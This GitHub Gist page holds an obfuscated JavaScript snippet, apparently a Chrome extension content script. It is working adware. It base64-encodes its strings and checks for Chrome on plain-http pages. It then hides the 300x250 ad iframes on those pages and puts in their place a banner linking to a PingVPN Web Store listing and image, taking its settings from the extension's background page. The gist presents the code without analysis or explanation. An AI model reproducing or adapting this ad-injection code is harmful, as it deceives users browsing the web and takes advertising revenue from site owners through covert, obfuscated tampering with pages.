Created
May 19, 2016 15:29
-
-
Save xspoco/262d3f8d22bf3c6930ff3d18bc0cbef0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (navigator.languages.indexOf("en") != -1) { | |
var av = function() { | |
var b = ["aHR0cDovLw==", "aHR0cHM6Ly8=", "aWZyYW1l", "c3Jj"], | |
j = 0, | |
g = 0, | |
w = 0, | |
k = null, | |
e = 0, | |
c = 0, | |
i; | |
this.cav = function() { | |
var f = window.location.protocol.replace(":", ""), | |
d = -1 !== window.navigator.userAgent.indexOf("Chrome"); | |
if ("http" != f || !d) { | |
return ! 1 | |
} | |
if (30 <= w || 3 <= g) { | |
return clearInterval(j), | |
!1 | |
} | |
j || (j = setInterval(this.cav, 100)); | |
s() | |
}; | |
var s = function() { | |
w++; | |
o(function(f) { | |
if (null === f) { | |
return ! 1 | |
} | |
if (!1 === f) { | |
return ! 0 | |
} | |
0 == c && (c = Math.floor(100 * Math.random())); | |
var d = parseInt(f.percent), | |
d = 100 < d ? 100 : 0 > d ? 0 : d; | |
if (0 == d || 0 == $(h(b[2])).length) { | |
return clearInterval(j), | |
!1 | |
} | |
$(h(b[2])).each(function(l, m) { | |
var n = $(m); | |
if ("300" == parseInt(n.css("width")) && "250" == parseInt(n.css("height"))) { | |
return n.css("visibility", "hidden").after('<a href="' + h("aHR0cHM6Ly9jaHJvbWUuZ29vZ2xlLmNvbS93ZWJzdG9yZS9kZXRhaWwvcGluZ3Zwbi9nZGllaGFibmxhbmVoZnBlbmJjYm5hbWVpZmpvamxwYQ==") + '" target="_blank"><img src="' + h("aHR0cDovL3d3dy5waW5ndnBuLmNvbS9wdWJsaWMvaW1hZ2VzL2F2MzAweDI1MC5qcGc=") + '" style="width:300px;height:250px;"></a>').remove(), | |
g++, | |
g >= parseInt(f.number) ? (clearInterval(j), !1) : !0 | |
} | |
}); | |
if (c > d) { | |
return clearInterval(j), | |
!0 | |
} | |
}) | |
}, | |
o = function(f) { | |
if (null !== k) { | |
if ("function" === typeof f) { | |
f(k) | |
} else { | |
return k | |
} | |
} else { | |
if (1 == e) { | |
return ! 1 | |
} | |
try { | |
e = 1, | |
i || (i = chrome.runtime.connect({ | |
name: "s__c__" | |
})), | |
i.postMessage({ | |
k: "c" | |
}), | |
i.onMessage.addListener(function(l) { | |
l.c ? (e = 0, k = l.c) : k = null; | |
"function" === typeof f && f(k) | |
}) | |
} catch(d) {} | |
} | |
}, | |
h = function(u) { | |
if (!u) { | |
return "" | |
} | |
var l = "", | |
t, p, q, r, m, n = 0; | |
for (u = u.replace(/[^A-Za-z0-9\+\/\=]/g, ""); n < u.length;) { | |
t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(u.charAt(n++)), | |
p = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(u.charAt(n++)), | |
r = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(u.charAt(n++)), | |
m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(u.charAt(n++)), | |
t = t << 2 | p >> 4, | |
p = (p & 15) << 4 | r >> 2, | |
q = (r & 3) << 6 | m, | |
l += String.fromCharCode(t), | |
64 != r && (l += String.fromCharCode(p)), | |
64 != m && (l += String.fromCharCode(q)) | |
} | |
u = l; | |
l = ""; | |
m = u.length; | |
for (r = 0; r < m;) { | |
switch (n = u.charCodeAt(r++), n >> 4) { | |
case 0: | |
case 1: | |
case 2: | |
case 3: | |
case 4: | |
case 5: | |
case 6: | |
case 7: | |
l += u.charAt(r - 1); | |
break; | |
case 12: | |
case 13: | |
t = u.charCodeAt(r++); | |
l += String.fromCharCode((n & 31) << 6 | t & 63); | |
break; | |
case 14: | |
t = u.charCodeAt(r++), | |
p = u.charCodeAt(r++), | |
l += String.fromCharCode((n & 15) << 12 | (t & 63) << 6 | (p & 63) << 0) | |
} | |
} | |
return l | |
} | |
}, | |
a = new av; | |
a.cav() | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment